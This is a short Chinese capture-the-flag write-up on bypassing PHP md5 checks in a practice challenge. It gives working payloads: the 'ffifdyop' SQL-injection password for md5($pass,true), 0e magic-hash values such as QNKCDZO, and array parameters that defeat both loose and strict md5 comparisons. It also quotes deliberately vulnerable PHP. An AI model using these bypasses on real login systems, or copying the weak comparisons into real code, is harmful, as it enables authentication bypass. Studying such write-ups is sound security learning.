知识点
关于md5的一些基本绕过方法:
- 数组绕过
- 0e绕过
- SQL注入中的ffifdyop万能密码绕过,其中md5函数是md5($string,true)
- md5强碰撞绕过
WP
首先进入环境,经过一些尝试后用bp抓包,在响应头里得到了Hint:
Hint: select * from 'admin' where password=md5($pass,true)
比较明显的用ffifdyop来绕过。具体可以参考:
password=’".md5($pass,true)."’
接下来又是一个绕过点,经过查看源码,发现是这样:
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
这里有2中绕过办法。因为是弱类型比较,可以构造两个经过md5后都是以0e开头的字符串,也可以利用数组来绕过。
因为md5的参数必须是字符串,传入数组会返回false,都返回false所以就可以绕过。
方法一:
a=QNKCDZO&b=aabg7XSs
方法二:
a[]=1&b[]=2
然后又是一个需要绕过的地方:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
虽然用了强类型比较,但是并没有转string,所以数组绕过还是可以。